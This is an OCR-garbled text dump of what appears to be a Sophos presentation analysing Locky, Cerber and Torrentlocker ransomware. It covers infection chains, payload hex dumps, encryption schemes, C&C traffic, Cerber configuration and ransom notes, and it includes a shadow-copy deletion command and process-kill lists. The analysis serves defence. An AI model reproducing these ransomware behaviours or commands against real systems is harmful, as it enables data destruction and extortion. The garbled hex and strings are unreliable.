48 24.0811280 94.73.148.217 10.69.146. 91 TCR 1494 [TCP segment of a reassembled PDU] [ Find H Save As H Brint IQ ASCID ) EBCDIC ) Hex Dump O C Arrays @ Raw
4% 24, 08118%0 10, 65,144, 51 o4, 73,148,217 TCP 54 ansysImd > http [AcK] Seg=224 Ack=23041 wWin=64800 Len=0
50 24.0812160 94.73.148. 217 10.69.145. 91 TCP 1494 [TCP segment of a reassembled PODU]
51 24. 0818440 04, 73,148, 217 10, 65,144, 01 TCR 1494 [TCP segment of a reassembled pPDU] F‘|t8VOUtThl95trEam] I Close
52 24.081865010.69.146. 91 G4.73.148. 217 TCP 54 ansysimd > http [ACK] Seqg=224 Ack=25921 Win=64800 Len=0
53 24.0835750 94, 73.148, 217 10.69,146, 91 TCP 1494 [TCP segment of 2 reassembled pDU]
54 24.085621010.69.146. 91 G4.73.148.217 TCP 54 ansysimd » http [ACK] Seqg=224 Ack=27361 Win=64800 Len=0
55 24.0856430 94, 73,148,217 10.69,146, 91 TCP 1494 [TCP segment of 2 reassembled pDU]
565 241005820 94.73.148. 217 10.69.146. 91 TCP 1494 [TCP segment of a reassembled PoU]

EZ M4 AaAZa0A A SR dE ma AA 7o 4o ——r Ed mecnerTmd b Famie] mac T4 Aol BATAT aeie SAQAA 1 me A

* C:\Documents and Settings\user\Local Settings\Temp\ekzfjzbYA1l
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Locky — infection

* wscript.exe decrypts encrypted payload
defzbiaL@| elafizbval @ |

[*  RunTemplate Edit As: Hex

0000h: OF 28 FF 36 30 75 €D 4F 5D €2 32 49 B2 8E 5A 58 AFE0umO b2 22X 0000R:

0010n: 88 53 50 6B 6L &5 4D 55 21 54 42 76 4B &7 68 6E  “~5PkjeMU!ZBvEghn 0010R: 00

0020n: 42 72 &F 36 33 75 6D 4F 53 62 32 49 4D 71 5A 58 Bro63umO¥b2IMgZX 0020R: 00

0030n: 30 53 50 6B 6L &5 4D 55 &1 S5A 42 76 A3 &7 68 6E  05PkjeMUaZBvighn 0030R: 00 O

0040n: 4C 6D D5 38 33 C1 64 82 78 DA 33 05 80 50 OE 30 Imba83Ad, =x03.€P.0 0040R: D 2

0050nh: 59 20 70 1B 18 OA 24 27 00 37 62 15 2A 09 06 01 | Y p...*'.Th.*... 0050R: 2 8

0060n: 36 52 OD 53 13 07 18 21 73 OB 5C 62 09 3E 09 78 6R.5...!y.\i.>.x 0060R: E 2

0070n: 5D 3C 34 OE 44 68 40 5F 45 5A 42 76 4B 67 62 6E  ]<4.Dh@ EZBvHghn 0070R: 0B | 2

0080h: 57 1F 41 A3 &2 79 2D 89 08 &E 72 8F 1C 7D 1A 9E W.ALby-%.nr..}.Z 0030R: 5 .

00%0n: OE 40 1B AD 34 &3 OD 93 B3 44 OC BO OE 6B 28 A8 .B.-:i.™>J.%.%(" 0090R: D2 1 5

Q00AOh: 7C &1 25 FO SA 79 2D 89 01 16 E1 8F 1E 7D 1A 9E | |a%8Zy-%..A4..}.% 00ROR: 7 5

00BOn: B2 50 4D AD 38 &3 OD 93 30 56 03 BO 4B 6B 28 A8 ¢PM-8i.™0V.°Kk(~ 00BOR: 0 .

00COh: 16 72 4F FO &3 79 2D 89 OD &2 28 8F 1D 7D 1A 9E  .rO8cy-%.b(..}.Z 00COR: 0 T

00DOR: 62 3L 33 03 3B 63 OD 93 61 S5A 42 76 4B &7 68 6E  b:3.;i.“aZBvEghn 00DOR: 00 O Ri

OCECh: 42 72 6F 36 33 75 6D 4F 09 27 32 49 01 70 5F 58 Bro63um0.'2I.p X 00EQR: 0 00 00 00 S0 45 00 00 4C 01 05 00 || «.... ...

00FOn: 35 74 72 33 6L &5 4D 55 &1 S5A 42 76 AB &7 66 4F SzrijeMUaZBv«gfO 00FOR: 0 00 00 00 O

0100h: 49 73 &8 3C 33 55 6E 4F 53 E2 32 49 4D 71 5& 58 Ish<3UnOY42TMgZX 0100R: 0 03 00 00 00 00 00 00 00 00 || .. ...

0110h: 60 3C 52 €B 6L 75 4D 55 €1 €A 41 76 4B &7 &8 TE "<BlkjuMUajivEgh~ 0110h: ] 0 10 00 00 00 20 03 00 00 00 00 10 PO eeeeelDennnns
0120h:| 42 &2 &F 36 33 &5 &D 4F 5D &2 32 49 4D 71 5A 58 Bbo63emD]b2TIMgZX 0120h: 00 10 OO0 OO0 OO0 10 OO0 OO0 04 00 00 00 00 00 00 00 || .+ eeeeeennn
0130h: 34 53 50 6B 6L 65 4D 55 61 EA 41 76 4B 77 &8 6E 45PkjeMUa&AvHwhn 0130h:| 04 00 00 00 QO 00 00 00 C 0 03 00,00 10 00 00 || vvuvenrns L
0140h: 42 72 6F 36 31 75 €D 4F 59 €2 22 49 4D 61 S5A 58 Bro6lumOY¥Yb"IMaZX pl40h: 00 00 00 O 0 00 00 00 00 10 00 00 10 O + | I
0150h: 30 53 40 B 6L 75 4D 55 €1 S5h 42 76 5B &7 &8 6E 05@kjuMUaZBv [ghn 0150h:| 00 00 10 OO0 00 10 OO0 OO0 OO0 OO0 OO0 00 10 00 00 00 || .+ .o eeeeeennn
0160n: 42 72 &F 36 33 75 €D 4F 71 5C 31 48 71 71 SR 58  Bro63umOghlIqgZX 0160h:| 00 00 00 00 OO0 OO0 0O 00 28 3E 03 00 3C 00 00 00 || ........ [Zeu€.u.
0170h: 30 53 50 6B 6A 65 4D 55 61 5A 42 76 4B &7 68 6E 05PkjeMIaZBvEghn 0170h: 00 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 00 00 00 OO0 | ......... o
0180h: 42 72 &F 36 33 75 6D 4F 53 C2 31 49 69 7D 5A 58 Bro63umOYA1Ti}ZX 0180h:| 00 00 00 00 00 00 00 00 00 AQ 03 00 24 0C 00 00 || ueeennnn . 8.,
0190n: 30 53 50 6B 6L &5 4D 55 &1 SA 42 76 4B &7 68 6E  05PkjeMUaZBvEghn 0190h:| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 || overrnrrnrennns
01A0h: 4F 58 62 32 49 4D 71 SA SEMERT063umOYb2 TMgZX] 01A0h:| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 || «.uvevenenenan..
01EOh: 55 61 Sh 42 76 4B 67 68 GENE0SP]eMUaZBvEg] 01B0Oh:| 00 00 00 00 00 00 00 00 00 00 00 00|00 00 00 00 || vevurerneenennnn

* C:\Documents and Settings\user\Local Settings\fémb\ékiszbYAl.d||
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Locky — infection

* wscript.exe creates new process — rundll32.exe

......

FHEH RBE | A B M8 @B AL

Seq.. Time...  Process MHame PID Operation Path
0 0%23.. @@ 'WScrptese 1416 E% Process Create  CAWINDOWSSspstem32hmindl32. exe

& Event Properties

Event | process Stack
Dake: 11§11f2016 092353, 1676104
Thread: 736
Class: Process
Operation: Process Create
Result: SICCESS
Path: CAWINDOWS, system32irundll3z, exe
Curation: 0.0000000
PID: 1443
Carmman d line: "CIWINDOWS system32irundll32, exe” CDOCUME-1\useri LOCALS~ 11 Temp)ekzfizby Al dil, nipple

* "C:\Windows\system32\rundll32.exe"
C\DOCUME~1\user\LOCALS~1\Temp\ekzfjzbYA1.dll,nipple
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Locky — Encryption

* AES—128 in CTR mode (generates 128 bit long random key for each file)
* RSA — 2048 for key encryption

* Online and offline mode

* New extension: .locky, .zepto, .odin, .thor, .shit, .aesir, .zzzzz

* Encrypts 461 different file types

* yssadmin.exe Delete Shadows /All /Quiet

arch i Folders - arch L8 Folders T

L]

MNarne Twpe Size ame Type Size
€] sunset. ing TPEG Image —— _22C4-BEESDCBD432P..ZE|:|I:D ZEPTO File Z3 KB
|:'] hause.png PHG Image 75 K _325_HELP_instructions. html Chrome HTML Docurmnent 10 KB
[Z) notes.txt Text Document 29B —3943-583c345881E5.zeptn ZEFTO File 145 KB
presentation. ppt PPT File 1,467 K& _5639-A4DE-IBCBC551 .zepko ZEFTC File 71 KB

summary.docx DOCY File 29 kB _P.P.SD-EQB4CEE~E~22E~5.2&|::I:D ZEFTO File 1,46,
crypto.pdf PDF File 145 KB _FBDC-MEFQDMFSAA.ZEDI:D ZEFTO File 80 KE
=) N - 1 C0-23059C 0041 DE  zepta ZEPTO File 76 KB

SOPHOS 32




Locky — Encryption

-BBE2-0BCACTA4T28A thor™ (& |

OA60nh:| A9 44 39 7F 63 EE 05 52 EF 50 9F 3& OC 26 BO FF| |@D9.ci.RiPY: .a*’;';l'
OATOn:| 24 16 CC 54 8D 3C 5F C2 21 51 BO 3E C0 8D FC Fol| |&.1T.< A1g°>4.u8
ORBCh:| FC D3 99 F7 EE 61 D7 08 Bl EA B4 7E 03 C7 76 20| |ub™:iax.2& ~.Cv-
0aS0nh:| 1F &5 BS5 FO 73 &A1 51 4D 80 B4 81 DB 01 12 82 B2 | |.¥uss;qMue-.0..,* . . .
OAAOh:| 4C EA BR6 33 F4 D4 D7 59 1B 2E 5C C6 35 99 FE DE| |L&!3a0=Y. . \E5™H AES encrypted flle (flle SIZE)
0ABOh:| E1 F1 ED 5F AC 8F AD F1 OD F7 52 1B 01 32 &8 51| |a4fi -.-A.iR..Zh
ORCOh:| 65 DE OD AR OD 59 DE 55 3F 3E AC C9 F3 86 53 S5F| |ef. =.Y@U?>-EA41S
OADOn:| FC oD 45 98 43 EE CO DD B9 BE D5 97 6D 4E 54 AE| |u.E"ced¥:uliaNT
OAFOh:| 6D DO 86 CF EE C5 F7 26 3A 58 OF 76 B3 48 73 92| |m®+Iifze:X. v Hs'
OAFOh:| &7 DO 77 C& 24 E2 2D 19 D1 18 F2 AD 27 C7 30 2F| |sBwESs-.H.a-'co/
0BOOh:| AE 5C O&Z 98 EF DE 3D SE 17 7E 22 C4 AD 93 05 FOoJ &\ . ~i0=3%.,~28_ >,
0B10h: . > 1d
0B30h:| 93 BE 96 1C 4D B4 OE 7A BD 04 35 D8 08 6C F5 EC| [“3%-.M’.z%.50.151 user |D (16 bytES)
0B4Ch:| 92 R4 &8 D1 CC F8 89 45 1D 2B 90 45 E1 48 E9 &5 | 3shiiiekE.+.E4Hée

0BS0nh:| D5 DC 10 E1 82 FF 8& AF 91 1F 06 BS 78 83 oc oc| |&0.4, %5 . .uxf..
0B60h:| E8 7& C8 5D 45 00 DO 55 96 4B 95 15 2D 3D EE 4F| |ézE]E.BU-K-.-=i0
0BT70n:| EE BC 75 73 B7 4E 2C 48 29 D2 97 3F C4 92 Bl 15| |ilgus -N,H)O—747 =+,
OB8Ch:|AF 8D TE E0O T7F D2 18 B6 AS D3 OD 26 F2 9C 90 D1 |~ .~&.0.9¥0. sdc. H|
0B90nh:| 68 71 30 81 68 86 85 BA B8 2E FE D6 4C 52 D2 EF| |hgo.ht.®, .pOLROL
OBAOh:| 91 41 97 35 5D 2E 70 70 B7 FA C2 6& DD 84 DD 3D| | *2—5].pp -udjY,¥=

0BBCh:| 97 B7 30 75 &1 D7 3D 06 ES 1B 89 0D 05 B& O F6| |—-Ouax=.4.%..9.5 RSA encrypted key (256 byteS)
OBCOh:| 4D E1 B9 00 53 D8 FE8 20 3A 74 DD 2B 9F 41 78 BF | |Ma®.5@s :t¥+¥ax;
OBDOnh:| 48 28 66 08 83 82 BE D6 OE CE E2 A3 A7 3E DD 8E| |H(f.F,»0.F4L8>73
OBEOh:| 28 B2 19 FA F3 DE 45 EA 32 99 BF BS A3 58 20 20| | (= . adUE&2™; pueX —
OBFOn:| D7 17 11 DC 87 6& 2B 1A BF 9& F1 A9 19 11 a0 27| [|=..0#5+.:30@.. !
0COCh:| 2R E6 72 73 34 7F FA 6B DS 4F 4B BO B3 F9 07 SE| | *=rs4.uk@OE°*q,~
0Cl0h:| E8 8C F6 97 23 7& FD 06 23 E7 FE A2 08 AF 71 46| |&Es—#zv.#chbe. of
0C20h:| DE 1D 49 S 79 36 EE 47 1B 9C 4D 25 FE 25 D4 80 P.IZEEiG.nﬂ{%ﬁ%ééf
0C30n:[O& OF 3¢ 1D 73 1B 41 E7 56 BO 41 10 B3 3 EO AC|[..8.2.Ach A, *fen -
oc4ch:| B2 1C 10 02 Bl AS B9 87 BE 45 D4 E2 80 92 &C Be| [=.. .3 +xEHss" 19 AES t d f | (560 b t )
0CS50n:| 4D 12 5B 9E 76 78 E3 1E BA 16 3E 1C 70 C8 E9 75| |M. [Zvxd.°.>.pEéul encryp e l ename y eS
0C60h:| CD 4C B8E 6 CE ED 32 74 B6 Bl AS 01 79 FA 40 BE| |irLZiiiocqg+¥. viuls
0C70R:| 97 9D 10 FF 04 41 76 3F 16 CB 5C 65 4E Ba D2 AC| |-..¥.Av? E\eN20o

hard-coded value (4 bytes)
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* id=XXXXXXXXXXXXXXXX&act=getkey&affid=1&lang=en&corp=0&serv=0&0s=
Windows+XP&sp=2&x64=0&v=2

* id=XXXXXXXXXXXXXXXX&act=gettext&lang=en
* id=XXXXXXXXXXXXXXXX&act=gethtml|&lang=en

Skream Conkent
PCOST Alinuxsucks. php HTTR/L.1

(ops o — * /upload/ dispatch.php
referer: http:/  umjjvccteg.bizys -
x—reguested-with: =MLHTtpReqguest

Content-Type: applicationx—www—Torm-urlencoded [ /

Accept-Encoding: gzip, deflate a pa C h e_h a n d | e r p h p
Cache-Control: no-cache

User-agent: Mozillas.0 (compatible; MSIE 6.0; windows NT 5.1; Swl; .MWET CLR 2.0.50727; .MNET4.0CZ; .MWET4.0E)

e ageth Ll * /linuxsucks.php

Connection: Keep-aliwve

SRHeapA=%5C%2 7RALRFERELRT ] ¥FA] ¥EAKESMEDSRE 2 ¥EEXBI=HOD%F S X2 M DUECFMWRES 1 ¥ES. ¥EDX21XL AKFSXETHFLAXDARACKZ Bs¥1D! @ /m essage p h p
DD%S AERTERBERLERI ARODO%D4 %3 BO%/DRECH] 6% 06%0CHKE 1 2 BRFFHCL%A05%0 5 1%A2 ROBEREE 155 5%D 0% 3R 7RO OHR D ARE A% T BEREORS DR 7Rk :
HCIH26R03KL I 1ELARDDEZ BOTRAL K G, REBRATROFXF SR BXOEXF 1 %5 0%C0%03%L4 %0 S XD Ea%aDEM W | =3C %2 1 aS%ADMYES b ywHC 2XE 0%

SCkA0NEL B3] 4203%B0%2 S R0ESVEZ=BXROL HXEL I ERVEXRDBA O ER] 4 E4 %1 831 A1 GXDFRE FAC 7 ROARDARERSHE]L] RAESSCHE 7 RF ASALRS] 2F 3% . . .
DL1%01%L6&INTr=2%2 6%2 2 %AB%TEX02 1 %01 I%EL1 %4 0%3CHI AXDBXF4 XEFXEOXELHCFRL 0%AT%] 2% IWHCEq¥BEO0XDEXITRUWECdva=%¥BAa5: @ / I n fo r m a t | O n C g |
FORCL%ACPYEEEZ6%F 2 RE2 XEE%2 0%l BX0Cd ekEEL %F 7RI 0RES RBOROFRF 25 CRACTRDORS AGK DL &Bbk eE=UR0DEEDEF EXEF %S DR » D AKAT *

B9 %ES XL AXDCRABKADr X3 DNXF 9%2 DhXEEXET ] FMEAS+XFL 2 X3R4 X7 FRCCET wha=%20%3 CH0d AXDDX I EXDORTDREARL 3X07 %2 %2 1 XESXE.

2 LAEBCAXFEXBLARL T AT BMAL EDEREIHNCER 2 1 EFT] A0 EFXE2 1 XEFRAEXDE CWR] F 232 330053 BRABQRFEUTRFC L] FREBEXEFEE SRE1AE.
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Locky — Ransom Demand

-f}:’(-_,'=+_“_- % | $.= * =$_

+$S=+—$$=*$_**_”
[==+=$ §=$+_
N IMPORTANT INFOEMATION 1!

All of vour files are encryvpted with ESA-2048 and AES-128 ciphers.
More information about the RSA and AES can be found here:

http:Yen wilapedia. orowiki BSA (crvptosvstem)
http://enwilapedia.org/wiky/ Advanced Encrvption Standard

Decrypting of vour files 1s only possible with the private key and decrypt program. which 1s on our secret server.

To recetve vour private kev follow one of the links:
1. http:/mphtadheidmrdlju tor2web.org)|
2. http://'mphtadhciSmrdlju. onion to/|

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: https:/www torproject.org/download/download-easv.html

2. After a successful installation. run the browser and wait for mitialization.
3. Tvpe in the address bar: mphtadhei5mrdlju onion
4. Follow the mstructions on the site.

' Your personal identification ID:_!!!

— _:a:| k=t | g%
= 5=+=1353%=_
=% 4g
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ocky — Ransom Payment

| &5 Locky Decryptor Page ® |+

[= =] =]

St @~ (€ mphtadhciSmrdiju.onion

We present a special software - Locky Decryptor™ -
which allows to decrypt and return control to all your encrypted files.

How to buy Locky Decryptor™?

You can make a payment with BitCoins, there are many methods to get them.

You should register BitCoin wallet:

Simplest online wallet or Sorme other methods of creating wallet

Purchasing Bitcoins, although it's not yet easy to buy bitcoins, it's getting simpler every day.

m

localbitcoins.com (WU) Buy Bitcoins with Western Union.
coincafe.com Recommended for fast, simple service.
Payment Methods: Western Union, Bank of America, Cash by FedEx, Moneygram, Money Order. In NYC:
Bitcoin ATM, in person.
localbitcoins.com  Service allows you to search for people in your community wiling to sell bitcoins to you directly.
cex.io Buy Bitcoins with VISA/MASTERCARD or wire transfer.
btcdirect.eu The best for Europe.
bitauick.co Buy Bitcoins instantly for cash.
howtobuybitcoins.info  An international directory of bitcoin exchanges.
cashintocoins.com Bitcoin for cash.
coinjar.com  CoinJar allows direct bitcoin purchases on their site.
ANXpro.com
bittylicious.com

Send 3.00 BTC to Bitcoin address:

MNote: Pay

Date | Amount BTC Tran
not found

Refresh the page and download decryptor.

SOPHOS

* 3.00 BTC=6/9,392 HUF
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Cerber — Infection Vector

* Email attachment

* Exploit kit — infected websites
PROTECTED DOCUMENT

* Ransomware-as-a-service

This documentis protected by Microsoft Office.
Please enable Editing and Contentto see this document.

CAN'T VIEW? FOLLOW THE STEPS BELOW.
o
1. Openthe document in Microsoft Office. Previewing online does not work for protected documents.
I 2. If you downloaded this document from your email, please click “Enable Editing” from the yellow bar

above.

3. Onceyou have enabled editing, please hit “Enable Content” on the yellow bar above.
Welcome to your new Office.

This document compiled with Microsoft Windows Fax and Scan.

Please enable content for read and review.
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Cerber — Encryption

"encrypt":
{
"bytes skip":512,
"encrypt":1,
"files":[...],
"max_block_size":2,
"max_blocks":5,
"min_file_size":1024,
"multithread":1,
"network":1,
"rc4_key_size":256,
"rsa_key size":880

}
"global public_key":

SOPHOS

E # DECRYPT MY FILES #

& # DECRYPT MY FILES #.htmi
E] # DECRYPT MY FILES # k=t
@# DECRYPT MY FILES #.vwhs
KePae-CBdG. cerber
kJv-930MET, cerber
N-oGormdaH. cerber
YR.aFxMhisa.cerber
bEs_ZIQEqz. cerber
hmAMAIGCDL. cerber

- POtEDINS. cerber
wpbStirDy ], cerber

5 @_ README__ @

€ @ README___ @.html
El@__ README_ @.bxt
BICHaSx-mru.cerber3
7pUSBEF Q0. carberd

oy 1u koW, cerber3
xEiqUKsn-e.cerber3
S5YTIJIRPR. cerber3
qMARzYaExgy . cerber3

MzATdbaxW, cerber 3
TZteN3IBNW, cerberd

& # DECRYPT MY FILES #

@ # DECRYPT My FILES #.html
=] # DECRYPT MY FILES #.kxt
2|+ DECRYPT MY FILES #.vbs
OURLQGICAD, cerberz
-C4YKYal3m, cerber2
dIBCRRwWCZk, cerber2
pd3kZUy CKR. cerber2
akLgfgwmio.cerberz
OCNKTEGYCD, cerber?
YIe0i4QVKS. cerber?
dikgoLLRbE, cerber?

2ybzh7elbT,9ha0
SciesBhLI0Z , 9ha0
FAOThMziqB . 9b30
| README hta
WHPEPLN Wb, 3530
083y FNMIH, 5h30
dHIjfenelF.9b30
E6YS430zqG:, 9b30
®Tyct3RENm, 3h30
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Cerber — Encryption

* Generates a 256 bit long RC4 key for each file (earlier versions 128 bit)
* Generates a 880 bit local RSA key pair (earlier versions 576 bit)
* Using the local RSA public key it encrypts the RC4 key

* Using the hard-coded global RSA-2048 key, it encrypts the generated local
RSA-880 private key

* New extension: .cerber, .cerber?, .cerber3, 4 characters from
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

* Encrypts 454 different extensions
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Cerber — Encryption

Unencrypted bytes (512 bytes)

Random bytes (36 bytes)

RC4 encrypted file (file size — 548 bytes)

RC4 encrypted information (file name, file creation
time, last access time, last modification time)

Local RSA encrypted information (110 bytes)
(RC4 key, filename length, number of blocks, block
length, 36 bytes from the file)

Global RSA encrypted local RSA key (256 bytes)

SOPHOS

Earlier versions used custom random
number generator

Weak RC4 keys

It was possible to decrypt RC4
encrypted parts

But RSA encrypted parts couldn’t be
decrypted

In newer versions this flaw is corrected

41




Cerber — C&C

: fa
. Ce r b e r Ca n e n C ry pt Offl | n e File Edt ‘Wiew o Capture Analyze  Statistics  Telephomy Tools  Internals  Help
©O® 4 W & R AT LIEBE QQQO $EM X H
. . ° Filter: “ | Expression. ..
S e n d S Sta t I St | CS Mo, Time Source Destination Protocol  Length  Info ) _ )
70 22.063483010.659,144, 91 194,165.16.2 (]s]2] 52 Source part: netmagic Cestination port: €892 || Stream Conkent
B0 22.063560010,69,145, 91 194,165.16.3 upr 52 Source part: netmagic Cestination port: §892 hi008cil4al
" n Bl 22.063637010.69,145, 91 194,165.16.4 upr 52 Source part: netmagic Cestination port: §892
servers : 82 22.063715010.60.146. 51 104,.165.16. 5 UDP 52 source port: netmagic Destination port: 6302
B3 22.063791010.69,145, 91 194,165.16.6 upr 52 Source part: netmagic Cestination port: §892
{ B4 22.063868010.69.145,591 194,165.16.7 upr 52 Source part: netmagic Cestination port: §892
" . . " 85 22.0635945010.69.145, 91 194.165.16.8 upr 52 Source part: netmagic Cestination port: &892
statistics 86 22.084022010.69.146. 51 194.165.16.9 uoP 52 source port: netmagic Destination port: &892
B7 22.064098010.69.145, 91 194.165.16.10 upr 52 Source part: netmagic Cestination port: &892
{ B8 22.064175010.69.145, 91 194.165.16.11 upr 52 Source part: netmagic Cestination port: &892
B0 22.0642532010.69.1456, 91 1%4.165.16.12 upr 52 Source part: netmagic Cestination port: &892
"data finish":" " 50 22. 0643250 10.60.146, 91 194.165.16.13 UDP 52 Source port: netmagic Destination port: 6852
— ’ 4 GOl 22.064405010.69,.146, 91 1%4.165.16.14 upr 52 Source part: netmagic Cestination port: &892
”data sta rt”-” 52 27.064482010.60.146. 51 194.165.16.15 UDP 52 Source port: netmagic Destination port: 6502
— ' 93 22.064559010.69.146. 91 194.165.16.16 uDP 52 Source port: netmagic Destination port: 6852
n 94 22.064635010.69.146. 91 194.165.16.17 uDP 52 Source port: netmagic Destination port: 6852
’ 95 22.064712010.69.146. 91 194.165.16.18 uDP 52 Source port: netmagic Destination port: 6852
"ip”.”194 165 16 0/22” 06 22. 0647850 10.60.146. 01 194.165.16.10 upP 52 source port: netmagic Destination port: 6862
: : : : 97 22.064866010.69.146. 91 194.165.16.20 uDP 52 Source port: netmagic Destination port: 6852
”knock".” n 98 22.0645843010.69.146. 91 194.165.16.21 uDP 52 source port: netmagic Destination port: 6892
: ’ 99 22.065020010.69.146. 91 194.165.16.22 UDP 52 Source port: netmagic Destination port: 6852
" Ort”6892 100 22. 0650970 10.69.146. 91 194.165.16.23 DR 52 Source port: netmagic Destination port: 6852
p . 7 101 22.065174010.69.146. 91 194.165.16.24 UDP 52 source port: netmagic Destination port: 6892
”Send Stat”l 102 22.065250010.69.146. 91 194.165.16.25 UDP 52 Source paort: netmag'l:c DES‘E'I:ﬂa‘E'I:Dﬂ port: 6892
— = 103 22.065327010.69.146. 90 194.165.16.26 uor 52 source port: netmagic Destination port: 6852
”t|meout”255 104 22.065404010.69.146. 91 194.165.16.27 UDP 52 Source port: netmag'l:c DES‘E'I:ﬂa‘E'I:Dﬂ port: 6892
. 105 22, 0654810 10,659,146, 91 194 .165.16.28 UDF 52 source port: netmagic Destination port: 6852
106 22. 0555580 10.69.146. 91 194.165.16.29 UDP 52 Source port: netmagic Destination port: 6852 - -
} 107 22. 0656340 10.69.146. 91 194.165.16.30 UDP 52 Source port: netmagic Destination port: &89z ||| (Entire conversation (10 bytes)
} 108 22, 0657110 10,659,146, 91 194 .165.16.31 UDF 52 Source port: netmagic Destination port: 6852 [ Find ” cave A ][
NG 2 ARRTFREATIN AT T14A O 1G4 1A5 1A 32 (N1y]=] B =nnrca nnrt s natmanic nastinatinn norts ARGR = —
Frame 2516: &8 bytes on wire (328 bits), 66 bytes captured (528 bits) on interface ©
Ethernet II, src: CadmusCo_cf:81:8d (08:00:27:cf:81:8d), Dst: wmware_95:42:78 (00:50:56:95:42:78)
Internet Protocol version 4, src: 10.6%9.146.91 (10.69.146.91), Dst: 194.165.19.73 (154.165.19.73) '
User Datagram Protocol, Src Port: carrius-rshell (1197), Dst Port: §832 (6392)
Data (24 hbytes)
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Cerber — Configuration File

* Blacklist

"blacklist":
{

"files": ["bootsect.bak","iconcache.db","ntuser.dat"”,"thumbs.db"],

"folders": [
"\\Srecycle.bin\\",":\\Swindows.~bt\\",":\\boot\\", ":\\documents andsettings\\all users\\",":\\documents and settings\\default user\\",

"\\documents and settings\\localservice\\",":\\documents and settings\\networkservice\\",":\\program files\\",":\\program files (x86)\\",

"\\programdata\\",":\\recovery\\",":\\recycler\\",":\\users\\all users\\",":\\windows\\",":\\windows.old\\","\\appdata\\local\\",
"\\appdata\\locallow\\","\\appdata\\roaming\\adobe\\flash player\\","\\appData\\roaming\\apple computer\\safari\\",

"\\appdata\\roaming\\ati\\"","\\appdata\\roaming\\intel\\", "\\appdata\\roaming\\intel corporation\\","\\appdata\\roaming\\google\\",
"\\appdata\\roaming\\macromedia\\flash player\\","\\appdata\\roaming\\mozilla\\","\\appdata\\roaming\\nvidia\\",

"\\appdata\\roaming\\opera\\","\\appdata\\roaming\\opera software\\","\\appdata\\roaming\\microsoft\\internet explorer\\",

"\\appdata\\roaming\\microsoft\\windows\\","\\application data\\microsoft\\","\\local settings\\","\\public\\music\\sample music\\",
"\\public\\pictures\\sample pictures\\","\\public\\videos\\sample videos\\","\\tor browser\\"],

"languages": [1049,1058,1059,1064,1067,1068,1079,1087,1088,1090,1091,1092,2072,2073,2092,2115]

}

* Languages : Russian, Ukrainian, Belarusian, Tajik, Armenian, Azerbaijani, Georgian, Kazakh,
Kyrgyz, Turkmen, Uzbek, Tatar
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Cerber — Configuration File

* Closes processes

"close process":
{
"close_process":1,
"process" [
"msftesql.exe sqlagent exe
"dbsnmp exe", "synctime. exe
mydesktopserwce exe","ocautoupds.exe","agntsvc.exeagntsvc.exe
"firefoxconfig.exe","tbirdconfig.exe","ocomm.exe","mysqgld.exe","mysqgld-nt.exe
"dbeng50.exe","sqbcoreservice.exe,,

oracle.exe

,'sglservr.exe","sqglwriter.exe", ,'ocssd.exe”,
! "agntsvc exe|sq|p|ussvc exe xfssvccon.exe",

" "agntsvc. exeencsvc.exe",

" "mysqld-opt.exe”,

,"'sqlbrowser.exe
! ”mydesktopqos exe

* Stop database processes
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Cerber — Configuration File

* Deletes shadow copies: "remove_shadows":1

* Deletes itself: "self deleting":1

* Ransom note:

SOPHOS

"help_files": "speaker": "wallpaper":
{ { {
"files":[ "speak":1,
{"file_body": ... "text":[ "change wallpaper":1,
"file_extension":".hta"} { "background":0,
], "repeat”:1, "color":65280,
"files_name":"README", "text":"Attention! Attention! Attention!" "size":13,
"run_by the end":1 1, "text":". "
} { }
"repeat":5,
"text":"Your documents, photos, databases
and other important files have been encrypted!"
11,




erber — Ransom Demand
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Cerber — Ransom Payment

/_/, Cerber Decryptor x \\\+ E@@ ! //‘Cerber Decryptor x\"'.\‘+ @@
St @' € ffoqr3ug7m726zou.cnion language c Q Search = St @' 6 i ffoqr3ug7m726zou.cnion captcha?nst e Q Search =
5@ CERBER DECRYPTOR 5 CERBER DECRYPTOR aicnesass| |1
Wahle deine Sprache For security reasons, please confirm you are a human and
not a robot below:
E English - Deutsch 'is_ Espaniol Selectallsi?;:?aerst::::l::: )

Click verify once there are none left C %
2

)
P

ii Francais - =nlyvg | @ BARE
= R—— Tap on all tiles with the plctures similar to the
sample above. If new tiles appear with the similar
plctures again, tap those as well. When there are
no more similar pictures left, click Verify,

P Portugués m PO'ski B J tatiano \%
" A  pm——— E
(@8 Turkce E L yall — Nederlands
G

o & |
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Cerber — Ransom Payment

“/rcefbe’ Decryptor x \\ + = J//Cerber Decryptor X \‘\\ + =388
St @' € ffoqr3ug7m726zou.onion c Q Search = St @' € G ffoqr3ug7m726zou.onion free c Q Search =
CERBER DECRYPTOR #& Home page 0 FAQ ## Support r2’2Decggt1 ﬁleforFREE‘ 2 Reload current page ﬁ CERBER DECRYPTOR # Home page @ FAQ & Support ri‘.‘Decg(pH nleforFREE 2 Reload current page
Your documents, photos, databases and other important We give you the opportunity to decipher 1 file free of
fles have been encrypted! charge!
To decrypt your files you need to buy the special software — «Cerber Decryptor». You can make sure that the service really works and after payment for the «Cerber Decryptor»

i program you can actually decrypt the files!
All transactions should be performed via @bitcoin network only.

Within 5 days you can purchase this product at a special price: B0.8191 (= $593).

Please select a file to decrypt and load it to the server:

No file selected. Upload file

Note: File should not be more than 3072 kilobytes

After 5 days the price of this product will increase up to: B1.6382 (= $1187).

The special price is available:

04 . 23:59:49

HaAw tn nat ~Carlhar DNarnintara? -
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Hybrid Encryption Mistakes
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Torrentlocker

* Uses AES-256 in CTR mode + RSA-2048
* Only encrypts the first 2 Mbyte of the files
* Problem: same key and counter for each file

[l sl 5]
000000600AL4B36CE 3D B0 60 26 08 cmp eax, 280868868h
000000000046836D3 73 04 jnb short loc_LB836D9
Nonce Counter Nonce Counter Nonce Counter _
c58hc T35, elelelelelelele] c58hc T35, 0oo0o001 c58hc T35, elelelelele e ; Yy 3 yy
bl il = bl il =
LITTTTTTITTITTT] LITTTTTTITTITTT] [TTTTTTITTTT1T11 BUU0BBNA04B36D5 80000800004 03609
a0p00e0RORYA36DS loc_4036D5: a0po0e0naRYA36DY loc_4036D9:
d0pooe0AAB4B36D5 8B D8 novy ebx, eax d0p008000040A36D9 BB 68 60 20 00 nov ebx, Z2@0888h
